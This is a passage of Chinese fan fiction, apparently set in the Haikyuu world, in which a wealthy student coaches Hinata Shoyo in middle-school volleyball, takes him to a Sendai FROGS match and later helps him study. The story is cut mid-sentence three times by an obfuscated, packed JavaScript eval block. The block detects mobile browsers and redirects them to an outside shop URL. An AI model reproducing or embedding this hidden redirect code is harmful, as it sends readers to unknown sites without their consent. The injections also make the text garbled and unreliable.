第一周能筛掉完全是来浑水摸鱼的那部分人,第二第三周为了面子勉强坚持的也会退出,到了第四周还没走的人员就基本稳定下来了,运气好的话隔壁篮球部和足球部还能挖进来一两个想参加比赛的板凳球员。 比起经验者众多竞争激烈的足球部和篮球部,排球部的绝大部分人都是同一起跑线上的初学者,本身有点运动底子的话会更有优势,也更有机会打上首发。 理想状态到学期末能够凑出一队可以打比赛的成员,假期再集中练一练,新学期就可以看训练情况找社区妈妈队或者联系附近学校的排球部打训练赛,给综合大赛做准备了。 问题不大。 …… …… 日向觉得问题很大。 倒不是之前提到的他觉得望月清在报复自己那天没想起来他的名字什么的,他也就是累到趴在地板装死的时候怨念地想了一下,心里很清楚望月清不是那种人。 但是连他都觉得吃力的训练实在枯燥痛苦,每一天参加训练的部员都在肉眼可见地变少。 下午三点开始练到天黑,力量训练是最痛苦的,步伐练习、手型纠正、发力姿势调整等等内容也跟有趣沾不上边,更不要说好像没有尽头的接球练习,两天下来手臂上全是淤紫泛青的出血点。 开始训练的第一周,日向翔阳切身体会到了什么叫做练到吐,每天被望月清以要把他韧带拉断的气势进行拉伸放松作为训练收尾,筋疲力尽的他只能无助地拍着地板,发出大猩猩一样的惨叫。 疲惫、枯燥、挫败,蒙着炫目光环的运动向他露出了现实又残酷的另一面。肌肉酸痛到仿佛浑身散架的每一个早晨,都在切实告诉他曾经自以为的努力练习和运动竞技概念里的“努力”之间,隔着多少或许他拼命追赶都赶不上的距离。 此外,运动社团没有周末。 可以睡懒觉的美好休息日,也会被望月清大清早一个电话从被窝里叫起来。 日向困得呵欠连天两眼呆滞,面前放个排球就能诱拐走的模样,浑身散发着撒隆巴斯的药味,甚至没注意到望月清是在家门口等他的。 这种情况其实跑两圈冷风一吹就清醒了,每天晨跑的望月清对此经验丰富。不过他也不是什么魔鬼,牵着日向的衣袖坐上车,体贴地脱下外套往他脑袋上一罩,示意司机开得稳一点,让日向路上回了个盹。 车里空调开得很足,暖和得叫人脑袋发懵,也没有恶心的汽油味,日向只能闻到自己身上膏药的药味和望月清外套上淡淡的香味,不是洗衣液的味道,是一种清爽又柔和的淡香,他昏昏沉沉歪着脑袋,很快就香甜地睡了过去。 望月清看了眼日向睡得一点一点的脑袋,伸出手轻轻揽住日向的肩膀,日向便顺势脑袋一歪靠在了他身上。近在咫尺的呼吸、温度、还能闻到橘色头毛上一点点洗发香波的淡淡奶味。 像是身边睡着一只暖烘烘的小狗,只是存在着便带给人莫大的幸福感。 望月清忍耐着伸手摸一摸小狗的冲动,打开手机确认起今天的预定行程和相关资料。 等被望月清叫醒下车的时候,日向已经精神多了,仰着头眼睛圆圆张大嘴的震惊表情,和迷迷糊糊被狗饼干拐走的小狗一模一样。 ——这里是仙台体育馆,本地俱乐部仙台FROGS的绝对主场。 明亮的绿色以主人的姿态占据了大片看台,球迷会的成员们正积极分发着各种应援物料,场馆里的热闹氛围极富感染力,球员还没有上场就已经让人期待起了比赛。 “这就是今天的训练。”望月清带着左右张望的日向落座,拿了根仙台FROGS的应援棒给他增加体验感,“认真看,我会课后提问的。” 勤奋刻苦的训练只是努力的一部分。 必不可少,但不能只有这一部分。 “努力”还需要更多的“观察”和“思考”进行补全,才能把积蓄的“勤奋”,兑换成真正的“实力”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467457|201304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实现阶段看一些初高中的高水平赛事会更有学习意义,V2程度的联赛虽然不能算完全的职业赛,但以日向目前的水平估计也看不出“真厉害”之外的感悟。 可勤勤恳恳训练了一周的小狗,很值得一些甜头作为奖励。 仙台FROGS是V2级别的老牌强队了,素来以强劲刚猛的攻势著称,距离升上V1也只差几个足够优秀的拦网手,好好加固他们来多少漏多少的薄弱防线。 正好今天的对手球队也同样以强有力的进攻闻名,两边从一开始就进入了轰轰烈烈的对轰模式,彻底贯彻进攻是最好的防守这一名言。 快节奏的攻防转换,目不暇接的扣球对攻,排球坠击在地板上的闷响如同沉重的鼓点,与声势浩大的应援共同组成了某种风暴般狂野热烈的打击乐,将周遭的一切席卷其中。 望月清不时低头在随身携带的本子上圈圈画画,用自己才能读懂的简写做观赛记录,偶尔才配合着鼓鼓掌,他身边的日向则已经完全沉浸在了比赛之中,和其他球迷一起用力敲击应援棒为球员欢呼加油,注视着球场的眼神灼热明亮——甚至透着一种不自知的贪婪。 这眼神像手机电量满格的信号,提示望月清他的橘子小狗已充能完毕。 午餐随便挑了家附近的家庭餐厅解决,望月清一边应着日向“轰”“咻咻”“啪啪”等意味不明的拟声词描述,一边慢吞吞地把自己碗里的洋葱胡萝卜往外挑。 他的动作很好看,慢条斯理的姿态优雅得像在吃怀石料理,挑食都自然得像是挑出来的本就不是能吃的东西。 日向舔舔唇,也不禁跟着降低了音量,勺子扒拉着咖喱饭,悄悄放慢了吃饭的速度。 “不用在意我,你继续就好。”望月清立刻发现了他的那点不自在,随意道,“我只是挑食又吃得慢。” 的确,平时望月清午餐便当里的胡萝卜牛蒡西蓝花等等等等,也全都被他以“补充维生素”的名义塞进了日向的便当盒。 “那下午会饿得很快欸。”日向看看望月清的餐盘,感觉都没怎么动,让他产生了一种家里三岁的妹妹都比这人胃口好的感觉。 “下午饿了就下午再吃。”望月清放下筷子,开始吃餐后的水果,“而且今天我吃过早饭了,这个点没胃口也很正常。” 需要补充能量的时候身体自然会发出信号,他的身体知道该怎么照顾自己。 日向咔嚓咔嚓咬着炸得酥脆的天妇罗,脸颊鼓鼓很有食欲,“唔,阿清你平时都不吃早饭的吗?” “会吃能量棒之类的,然后晨跑,课间看情况再吃点其他的做补充。”望月清回答,“这样中午能比较有胃口。” 他从小就这么吃,身体已经很习惯这种补充能量的节奏了,要是像今天似的晨跑完再在家里老人的关爱下来顿标准早饭,到下午两三点都不会觉得饿。 所以,这么不规律又不健康的饮食习惯,是怎么拥有傲视一众同龄人的优越身高的? 至今没长到160的日向嫉妒地大吃一口咖喱饭,想起望月清甚至还有腹肌。 训练换衣服的时候他看到了,紧实漂亮的肌肉线条超让人羡慕。 可恶! 日向翔阳愤怒地吃了更大一口。 望月清看着他一鼓一鼓的腮帮子,忍着笑把餐后水果里的草莓上供给了翔阳大人。 ——原谅他吧,他下午还特意准备了惊喜节目呢。 5. 第五章 吃完午饭,望月清象征性地询问了日向是想回家休息还是找个地方打会球再回去,看比赛看得热血沸腾的日向翔阳毫不犹豫选择了排球。 于是望月清一个电话召唤来了司机。挂着昂贵车标的黑色豪车是家庭餐厅门口的稀客,西装革履的司机先生为他们拉开车门——日向翔阳只在电视剧上看见过的场景,以至于上车的时候僵硬得差点同手同脚。 “直接回家。”望月清对司机说道,又跟日向翔阳解释道,“女排周末要打练习赛,用我家的场地更方便一些。” 他把“我家大得有个排球场”说得像“我家有颗大白菜”一样轻松,不过日向翔阳并不觉得惊讶,反而有种“果然如此”的感觉。 虽然望月清从没炫耀过家里的财富,但也没刻意隐瞒过,说实话,到现在都没有“望月同学家里很有钱”这样的流言传出来才是比较奇怪的事情。 不说便当盒里那些跟“家常便当”沾不上边的精致菜色,也不说那些看着就超贵的最新款手机耳机游戏机,光是平时聊天时随口提到的“保姆”“司机”“厨师”“园丁”——用脚趾想都知道,一般家庭谁需要雇这么多人啊喂! 因而日向翔阳只是羡慕地感叹:“那这样练球好方便啊!” “其实离主屋蛮远的。”望月清说,“祖父嫌我发球太吵了。” “哦哦哦!我想看我想看!”日向翔阳对很吵的发球表现出了强烈兴趣,身后无形的小狗尾巴摇得欢快,脑袋里天马行空地想象着——那会是什么样的发球呢?能发出那样球的阿清,又到底有多厉害呢? 这可是!打进过地区赛的选手! 至今不知道地区赛是小学组的日向期待得两只眼睛都在放光! “好哦。”望月清当然不会做让小狗失望的坏人,揉揉少年蓬松的橘发答应得爽快,“翔阳努力训练的话,我就教你个超帅的绝招。” “好耶!” …… 车子载着被“超帅的绝招”迷花眼的日向一路驶入了宛如时代剧片场的古典大宅,白沙铺就的枯山水与精心设计过的幽深庭院比起住宅更像是旅游景点,而穿着常服的望月清和日向站在其中,也像极了买票进来参观的游客。 直到绕过主屋和庭院,看见划着白线的室外球场和高高架起的球网,日向翔阳才终于有了一点“原来这里真的有人住”的实感,脱掉外套简单热身之后,仍旧是从不缺席的接球练习做开场。 这一周他做了多少次垫球已经数不清了,看到抛过来的排球身体逐渐形成了接球的条件反射,排球击打在手臂上的触感迅速拉住他的注意力,全身心地集中在半空飞起的排球上。 不只是要接住。 日向翔阳默念。 要【标准地】接住。 眼睛去勾画球的运动轨迹,大脑要预判球的落点,同时迅速移动站稳,压低重心调整姿势注意整个身体的协调发力,手臂先卸掉球的力度和旋转,再将球稳定传向目标方向。 一次【标准的】接球。 望月清将球尽量给得更高一些,让日向有更多的调整时间。 现阶段不需要追求速度,但每一次都要标准,要让身体去记住正确的习惯。 一次、两次、三次……同样的动作一遍又一遍重复,渐渐日向脑海里所有纷乱的想法和感觉都消失了,视线里球的轨迹变得越来越慢,越来越清晰,好像天空那种发白的青色正无限地蔓延向整个世界,于是整个世界他能看到的只剩下了那颗排球。 忽然某一刻,一切变得安静得不可思议,排球在他的手臂上撞击出了他从未听过的声音。 像一声鼓点,扎实,坚定,又奇妙的让人觉得很轻盈。 他今天在赛场上听到了无数次的、像地基一样承托起了整场比赛的声音。 不需要任何人提醒他就知道,他刚刚完成了一次【标准的】接球。 “NiceReceive!”望月清接住第一次这么稳定准确传过来的球,为还没回过神的日向鼓掌,祝贺他这一周、或者说过去两年多的全部坚持,在此刻终于得到了一份应有的兑现。 “我接到了!”日向翔阳高兴极了,兴奋地扑上来一把抱住望月清,迫不及待地炫耀,“那球我接得超棒!阿清你看到了么!那球超棒的!” “那么‘咻!’地接住,‘嘭’一下就飞出去了!”他用不明所以的拟声词比划着,抓住望月清的手臂蹦蹦跳跳,整个人散发着太阳一样的灿烂光芒。 明明只是一次基础到不能再基础的成功接球,却快乐得像是赢得了整个世界。 真是不可思议,望月清惊讶于自己此刻心口汹涌鼓动的滚烫情绪。 仿佛他也在这一刻,赢得了他的整个世界。 “接得很好,非常非常好。”他毫不吝啬地夸夸,手上却难得迟疑了一下,才轻轻拍了拍日向翔阳的后背,笑着说了句半真半假的玩笑话,“翔阳刚才真的超帅,我都觉得要动心了呢。” 感谢他这张脸,再怎么轻佻的玩笑说出来也不显得冒犯,而帅哥嘴里夸出来的帅往往更有含金量。 日向立刻翘起了仅望月清可见的小狗尾巴,斗志昂扬地跑回自己的位置,“再来!再来一球!” 我就知道!我超棒的! 超棒的日向翔阳理所当然得到了超棒的训练奖励,一边嘶溜嘶溜喝着预防感冒的热姜茶在场边休息,一边充满期待地睁大眼睛,一眨不眨地盯着准备给他表演“很吵的发球”的望月清。 ——说得那么玄乎,其实只是普通的跳发而已。 只不过稍微大力了那么亿点点。 望月清被日向火热的眼神盯得失笑,索性看回去抛了个wink,而后轻松地抛球、助跑、跃起,他的身体柔韧舒展如拉满的弓,下一瞬排球坠地的巨响便在球网另一边轰然炸开。 压倒性的气势刹那间碾压过了所有杂音,日向过了几秒才后知后觉地找回自己的呼吸,球场上落下又站定的身影落在眼底,从容得如同狩猎后的鹰。 “好…好厉害……”日向翔阳咕嘟咽下去一大口姜茶,被辣得像是有把火在胃里烧。他以为自己激动得大叫出声,实际上喉头颤动,被震撼得几乎发不出声音。 “怎么样?”望月清在日向眼前打了个响指,召唤小狗的夸夸,而日向·捧场王·翔阳从不让任何孔雀开屏落空,一双眼睛里崇拜的小星星pikapika往外蹦,叫望月清不得不纠正自己之前的说法。 现在——才是他赢得了世界的一刻。 愉快的心情让他在之后长达两小时的扣球陪练中保持了极好的服务态度,托出的球比平时练习时更加精准,用他唯一且尊贵的攻(ju)手(zi)客(xiao)户(gou)的话来形容,就是“比之前更好打了”,不过望月清并不居功,继续给自家攻手进行自信心充值:“是因为翔阳变强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467458|201304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 他比了比球网的高度,“比之前跳得更高,动作也比之前标准,时机把握得很好,自然就能扣出很漂亮的球。而且你的反应能力、动态视力还有跳跃能力本身就很出众,这些都是非常难得的天赋。” 除了这些以外,还有在竞技体育中最为重要的——那股在两个小时的训练最后,依旧能够拼尽全力起跳的气势。 “翔阳你啊,”望月清笑着总结道,“说不定是个天才呢。” 捧得太高的赞赏会变成压力,加一点猜测语气就正好调和成肯定和鼓励,加上仙台FROGS的精彩比赛和切实感受到的进步,一整套心理按摩行云流水,擦掉了日向心里被疲惫和挫败蒙上的一层灰。 日向又高兴又有点害羞地傻笑起来,“阿清才是真的超级厉害,”他说道,又充满信心地举起手臂,“所以,我们肯定会赢的!” 排球部严格意义上会打排球的其实只有望月清一个——日向自己勉强算半个,但他说起我们会赢时那种无可辩驳的自信,仿佛一位神明在向他的信徒说着“要有光”。 “当然。”望月清垂眸,视线从少年脸上一掠而过,像被太阳的光亮刺伤了一下。 “当然,”他重复道,轻轻呼出一口白雾,把舌尖萦绕的那些轻浮腔调一并呼出,郑重地做出了承诺,“我会为此竭尽全力。” …… 如果这是动画片,那么这里就该切入片尾曲,准备进入新一集的新场景了,但现实只会无缝衔接上一段面面相觑甚至因为对话过于庄重热血而一时不知该接什么的沉默,最后依靠望月清“我们进屋休息一会吧”的邀请才实现转场。 望月清的房间、或者说别居?屋子?——请原谅以日向的国文水平没法用一个词准确概括,那跟他概念里的“房间”完全不是一样东西,非要详细描述的话就是距离排球场最近的独立三居室,和主屋隔着放摇滚都不扰民的距离。 从正门进去甚至有自己的独立玄关,望月清从鞋柜里找出新的拖鞋拿给日向。 这才是日向翔阳知道的到朋友家做客的正常流程,下车开始酝酿到现在的“打扰了”终于有了说出口的机会。 理所当然没有客厅,玄关后是散落着懒人沙发抱枕还有毛毯,被漫画零食游戏机填充的快乐世界。 “随便坐,想吃什么自己拿。喝橙汁可以吗?”望月清打开墙角的冰箱,整整齐齐的饮料水果酸奶布丁,日向合理怀疑下面冷冻层里还有冰淇淋。 呜哇,真的有。 还是超大桶的香草冰淇淋。 温暖的空调房里抱着桶吃冰淇淋的快乐,只有体验过的人才懂。日向把下巴搁在抱枕上,训练后汗湿的额发翘起,懒洋洋地打起了呵欠。 可爱,想偷。 望月清咬断嘴里的半截Pocky,用酥脆的饼干磨了磨发痒的牙根,电脑接上电视大屏,点开已经加载好的视频。 排球场的画面出来时日向打起了一点精神,抱着冰淇淋抱枕拖着懒人沙发挪到靠近屏幕的观赏席,并一眼从镜头里看见了自己显眼的发色,惊喜道:“是我们上午看的那场!” “对,再给你复习一遍,”望月清翻翻自己的记录小本子,顺便复盘下二传的配球,“好好看,说了要课后提问的。” 说起来,他是不是也该开始准备期中考试的复习和押题了——鉴于日向的考试成绩一向……咳、发挥稳定,潜力巨大。 6. 第六章 排球,是让人快乐的东西。比赛,也是让人快乐的东西。 可为什么两个让人快乐的东西组合在一起,就变得不那么快乐了呢。 日向翔阳说不出来,橘子小狗想不明白,只能抱着排球形状的抱枕在地上滚来滚去,在望月清的提问下努力试图阅读理解屏幕里“咻”“咚”“砰”的短短几秒间发生了多少心理博弈。 为什么仙台FROGS的二传选择传给5号而不是位置看起来更好的3号,对方的拦网手又是怎么被攻手的假动作骗到过早起跳,自由人如何预判漏球及时跑位救球,他们的二传又是在什么局势下选择直接二次进攻,利落地拿下一分。 现场看过一遍的比赛,再看一遍带解说的慢动作回放版,两边的战术就很清晰了。望月清在本子上画了场上的站位图辅助理解,还给日向一并分析了下两边的站位调整和换人策略,听得单线条的日向两眼转圈圈。 听倒是能听懂,听不懂重复看几遍慢动作回放也看懂了,只是一想到球场上还要想这么多,日向就提前开始觉得脑子不太够用了。 不过,阿清果然好厉害啊。日向看着纸上圈圈画画的站位图,幻想自己和望月清也站在其中,望月清也会“咻”地一下给他托一个快得不可思议的好球,他就那么高高跳起挥动手臂,“咚”地把球扣过球网。 整个球场会发出雷鸣一样的欢呼,他高高的举起手臂…… 日向自己也没察觉,他理所当然地把望月清放在了二传的位置上,完全没想过能打出那种大力跳发的人,会不会有可能其实是个攻手。 ……不可能,绝对不可能! 毕竟望月清的托球,有那——么棒。 日向翔阳自信到没给这种想法一丁点儿冒头的机会,对正在分析仙台FROGS二传配球并夸夸的望月清施加鼓励魔法,“阿清也超棒!在我心里,阿清就是最好的二传!” “你总共才见过几个二传……”望月清叹气,被这么亮闪闪的狗狗眼看着,叫人真的很难说出自己其实之前更多是主攻这件事。 ……算了,谁能拒绝橘子小狗呢。 望月清对球场上的位置也没什么执念,小学时候他甚至还尝试过几次的自由人,只不过因为长得快跳得高力气大,同一级别里身体素质肉眼可见的出色,所以教练更喜欢安排他承担进攻的任务,他打主攻会更顺手一些。 但问题不大,都可以练。 日向那么眼睛亮闪闪地看着他,真诚到不行地夸夸他,连不可见的尾巴都对着他欢快地摇啊摇的,就是让望月清当场分身成几个把其他所有位置全包了,望月清都说不出自己不行。 何况日向只是想要个超棒的二传。 他可以,他必须行。 抱歉研磨,从今天开始和你组队刷材料的好队友望月清不能再随叫随到了。 望月清心里并不诚恳地对着孤爪研磨的游戏账号双手合十拜了拜,就仿佛游戏之神真的在庇佑着祂忠诚的信徒Kodzuken一般,下一秒马里奥吃蘑菇的经典音效突然响彻了整个房间,把毫无准备的日向翔阳吓了一跳,还以为自己滚来滚去的不小心压到了什么。 “没事,是门铃。”望月清说道,语气寻常得像自己房间单独装门铃是多么正常的事情,站起身看了眼门口的显示屏,门外管家川上先生正拎着一个多层食盒,无声地提醒他已经到了晚饭时间。 “啊啊啊怎么这么晚了!”日向这才发现外面天都黑透了,手忙脚乱把自己的手机翻出来,一翻盖就看见好几条妈妈发来的未读信息,赶紧先拨了个电话回家,苦着脸听妈妈念叨。 好在妈妈只是念了他几句,没因为他这么晚了不回家也不回消息生气,日向小心地松了口气,再听听似乎是早上望月清在楼下等他出门的时候跟妈妈报备过了今天的行程,还提到了他们可能会在外面吃晚饭,要是玩得太晚了会让司机送他回来云云,总之一听就是个靠谱得体的好孩子,优秀到妈妈教训他的时候都不忘夸上两句。 是是是,阿清最靠谱了。 日向苦着脸领受了母上大人的碎碎念,一扭头发现管家先生已经离开了望月清的个人空间,留下桌上摆好的两份晚餐,晶莹软糯的米饭上盖着嫩生生的温泉蛋,饭菜的香味一下勾起了他的食欲。 “我开动啦!” 在吃饭这件事上,日向绝对是家里老人最喜欢的好孩子,大口吃饭吃得特别香,望月清和他一起,都觉得自己能多吃几口。 厨师先生的手艺毋庸置疑,热乎乎的晚饭比平时冷掉的便当吃起来更加美味,只是日向翔阳平时习惯了一家人围坐在桌边吃饭的热闹氛围,突然变成他和望月清两个人免不了就觉得有点冷清,再一想更多时候望月清甚至可能就自己一个人在房间里吃饭,那场景真是想一想就都觉得寂寞。 ——外头黑漆漆一片,安静得只能听到呼呼吹过的风声,冷白的灯光照在望月清那张好看的脸上。他正专心致志地挑战吃掉一块西蓝花,微微皱着眉咀嚼的样子像是一只啃牧草的兔子。 以望月清的体型来说,还是只安哥拉兔。 噗。 日向难得酝酿出来的一点愁绪瞬间就被想象里的毛绒大兔子打破了,他憋着笑把脸埋进饭碗,回避了望月清看过来的眼神——阿清那种一边认真嚼嚼一边疑惑看过来的表情更像兔子了,再搭配【望月同学】平时给人的印象…… 日向翔阳被自己脑补出来的奇怪的反差感逗得吭哧吭哧窃笑起来。 望月清艰难咽下去嘴里的西蓝花,虽然不知道日向具体在想什么,但能从小狗压不住的快乐嘴角猜到肯定不是什么好事。 “最好别让我知道你在想什么。”他敲了下日向的额头,威胁道,“毕竟,你也不想得罪你【超棒的二传】吧。” 嗯……换句话说,就是不让他知道就行。 日向翔阳微妙get到了望月清的言外之意,“阿清……”他眨眨眼,露出了感动的表情。 呜呜他要半夜睡不着觉得良心刺痛爬起来捶床了。 大度包容的望月清亲自把嘲笑他的坏小狗送回了家(司机:……),还给拎了一份厨师先生特制的精美点心礼盒做伴手礼。 “祖母让厨师准备的。”望月清说道,“她说今天有事不在家没能见到你深感遗憾,也欢迎翔阳以后常来家里玩。” “哇——谢谢阿清的祖母!”日向高兴地接过礼盒,“对了,阿清下次也来我家里玩吧!我妈妈做的秘制咖喱超级好吃的,里面的青椒和胡萝卜小夏都愿意吃哦!” 他毫无心机、浑然天成地发出了邀请,眼神清澈没有半点杂念,望月清却清楚听见自己脑海里回响着“好感度+10+10+10”提示音。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467459|201304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >啊……这可真是…… 望月清伸出手,用力把脸埋在日向颈侧深深吸气——只要心无邪念,这样程度的身体接触就算不上暧昧,隔着冬天的厚重冬衣,甚至连所谓“隔着衣服感受到对方的体温”都不会有。 日向当然想歪不了一点,哈哈笑着侧过脑袋抱怨望月清的头发扎得他脖子痒,但手上主动拍拍望月清的后背用力回抱了一下。 下车以后,他还不忘趴在车窗边叮嘱望月清到家给他发个消息,隐隐透出几分习惯照顾人的可靠长男力。 返程的路上彻底冷清了下来,只抱到了一下的怀抱变得空荡得叫人怅然若失,房间里日向翔阳留下来的痕迹也已经被收拾干净,尽职尽责的川上管家可看不得桌上的零食袋子。 心里空落落的,又躁得浑身都不自在,望月清洗漱完抱着排球抱枕躺在懒人沙发上,背了一会英语又做了一张数学卷子,最终还是爬起来披上外套出门,打开了排球场的灯。 别睡了,练球吧。 那天晚上排球场上沉重的击球声响到几点才停下,除了望月清本人大概只有对家里一切无所不知的管家知道,而管家知道了就等于祖父母也知道了,那两位老人可不是望月清那对自由奔放的父母,连孩子通宵夜游都能不当回事。 于是第二天祖母的越洋电话就打过来了,算着时差给望月清留足了前一晚熬夜今天赖床的时间,或者说她希望望月清能睡个懒觉在床上赖到管家来询问是否要准备午餐,而不是只比平时晚十分钟起床晨跑——她电话打来的时候,望月清甚至已经完成了下午的第二组自主训练。 她的声音因此染上了更多的担忧,犹豫地劝说望月清注意休息,听到望月清礼貌地应答时发出无声的叹息,转而提起昨天望月清带来的朋友,“听说是个很活泼的孩子,”她温和地说,“看了就叫人喜欢,是你排球部的朋友吗?” “嗯,是我们的部长。”望月清笑道,“他以后应该会经常来玩。” “那就再好不过了,带部里的朋友们一起也没关系,家里很大的。”望月老夫人的语气更加柔和,甚至可以说得上小心地提议道,“运动社团好像还会组织合宿?家里在冲绳和轻井泽都有别墅,有需要的话……” “放心,有需要的话我会说的。”望月清应着,停顿下又无奈道,“您不用这么紧张,学校里没什么事,我都能搞得定。川上先生不也跟您说了,翔阳是个很好的人,我想跟他一起…打球,我们玩得也很好,只是这样而已。” 他知道这样无微不至的关照叮咛来自对他的关爱,可作为从小自由惯了的散养儿童,这种传统细致的长辈关爱实在是有些为难他了。 “对不……是、是的,我知道……”他听见祖母嗫嚅了几声,片刻后小声地说,“我们、我和你祖父只是一直担心……是不是我们把你带回来,反而对你造成了更多伤害……” “您怎么会这么想?”望月清愕然,而后真情实感地说,“我真的非常感谢您和祖父把我带回来。对了,我们部会参加4月的县预赛,您要是有空可以和祖父一起来看看。我们打得应该还算挺不错的。” 实在不想在自己到底有没有童年阴影这件事上纠缠,望月清果断祭出了转移话题大法,祖母的注意力果然立刻就被转移了,第一次被他邀请去比赛现场,她激动地连声答应一定会空出时间去给他加油。 7. 第七章 接下来的一段时间,排球部的训练出乎望月清预料的顺利。 虽然不可避免的有不少部员因为吃不消高强度的训练而选择退出,但留下的人比望月清预计的更多。加上两个从隔壁篮球部忽悠来的“好朋友”,不仅已经凑够了六人的排球队,还有给他选一选的余地。 日向的实力更是突飞猛进,这个年龄段的青少年身体还在发育期,扣除掉望月清这样尤其出众的所谓“天才”,大部分人在身高力量上的差距不会像成年后那么明显,完全可以通过训练和战术来弥补。 第二……不,争取下能进第三轮吧。 望月清心里盘算着,接过经理递来的记录本,一边翻阅今天的训练数据一边盯着场上的训练赛情况。日向翔阳无疑是最显眼的一个——不止是一头扎眼的橘毛,还有热情满满极富感染力的嗓门。 “佐藤!跑起来!” “我来!” “好球!接得好!” 他的队友们也大声地回应他的声音,在场上奋力地奔跑和跳跃——刚开始时空有其名的部长,不知不觉已经有了队长的威信。 望月清忍不住微笑,又很快压下去嘴角的弧度,低头在训练记录本上点了点,从中圈画出几个名字,“帮我通知他们几个今天结束后留一下。” “咦?”经理眨眨眼睛,笑着调侃道,“今天不和部长‘二人世界’啦?” 她是排球部三个经理里唯一坚持到现在的,另外两位入部没多久就被望月清礼貌劝退了——要是光想着怎么跟他拉近距离经理的本职工作半点不做,那他为什么还需要这两个经理呢。 “我倒是很想,”望月清说道,无奈地耸耸肩,“可惜我们部成绩危险的实在太多,现在再不抓紧复习,期中考试都得完蛋。” 怎么说呢,翔阳在这群人里面竟然算是成绩中上的。 至少每一门距离及格都没有差得太远,不管题目会不会卷子总归全填满了,考试态度还是很端正的,也看得出基础没有差得很离谱,抓重点补一补完全能补上去。 从小蝉联年级第一的望月同学为此精心编写了期中考试的全科重点复习笔记,保证只要从头到尾认真背下来肯定能及格——当然考虑到复习效率和最主要受众那基本都是排球的小脑袋瓜,也只能保证肯定能及格。 “唉……”日向昨天就已经被望月清预告了接下来两周都是复习时间,为此这两周的训练都提前了一小时结束,没消耗完的体力弄得他浑身痒痒,对着摊开的笔记一个字也看不进去,宁愿出去做一百组对墙垫球。 “别走神。”望月清敲敲桌子,拉回日向的注意力,“这一页背完给你休息十分钟。 训练结束之后他看日向的状态就不像回去会好好学习的,就没把人放走,拎到了附近的家庭餐厅开一对一学习会,果不其然一分钟能走神三趟,一个小时了学习进度还在第一页。 场上打球的时候多生龙活虎,现在面对学习就有多像一条咸鱼。 再这样下去他提前划多少重点押多少题都没用,没有学习动力就没有学习效率,望月清一边监督日向愁眉苦脸地背书,一边思考怎么给橘子小狗前头钓上肉骨头。 最简单粗暴的方案莫过于背几页就给托几个球,效果绝对立竿见影,但治标不治本,只适用于眼前的短期冲刺复习。 最好能有个什么办法,可以让日向自觉养成和排球训练一样的长期学习习惯……要求不高,上课好好听讲下课认真写作业就行。 望月清思考着,顺着日向飘忽的眼神去看能吸引他注意力的事物,想从中发现些灵感——叉烧拉面?巨无霸汉堡?蛋包饭? 只能说明日向是真的饿了。 招招手叫服务员来催了下他们点的晚餐,望月清发现日向的眼神飘到了刚进门的一群高中生身上,吵吵嚷嚷一身臭汗地拥进来,大概是附近高中的运动社团刚结束训练。 高中……有了。 望月清又敲敲桌子提醒日向专心背书,趁着日向和Abandon搏斗的功夫脑内组织起措辞,等到他的乌冬面和日向的炸虾天妇罗蛋包饭上桌,他也完成了【橘子小狗学习激励计划】的腹稿。 那几个高中生坐在离他们不远的位置,正闹哄哄地互相抄作业,聊着些明天的课堂小测后天的队内比赛之类的内容,狗狗开会一样的群聚感和平时排球部里的氛围很是相似。 望月清往那边看了一眼,确保日向注意到自己的视线落点后,状似无意地开启话题,“说起来,翔阳高中准备去哪里?” 他心里快速过了一遍宫城县的排球强校:没希望的白鸟泽和青叶城西不考虑,伊达工和条善寺可以努努力…… 名单最后的最后才轮到曾经打进过全国但这两年成绩实在算不上好看,距离日向家还远得要命的乌—— “乌野!”日向两眼放光,毫不犹豫地说出了自己的第一志愿,“我要去乌野!小巨人的乌野!” 小巨人……望月清迅速回忆了下这段时间恶补的宫城县内排球情报,“宇内天满?” 身高和球风都鲜明得独树一帜,的确是能引起日向共鸣乃至向往的选手。 “嗯嗯!就是小巨人!乌野的那个!他跳起来有那——么高,唰地一下!再砰!地一下!特别特别厉害!”日向手舞足蹈地比划,语气充满了憧憬,“我就是看了小巨人的比赛,才想要打排球的!” 好吧,那就没得选了。 望月清一秒删除掉了脑内青叶城西伊达工条善寺等等其他选项,把最后的乌野拎上来置顶加粗高亮标红,不动声色地顺着日向的话往上捧:“乌野也是个不错的选择,我记得去年大赛的最佳自由人西谷就是去的乌野。” “哦哦哦!他很厉害吗?!那个西谷?”已经补充过基础排球知识的日向自然知道球队里自由人的重要性和想要打好这个位置的难度,立刻对乌野的期待度又拉高了一个档次。 望月清其实也没有实际看过西谷夕的整场比 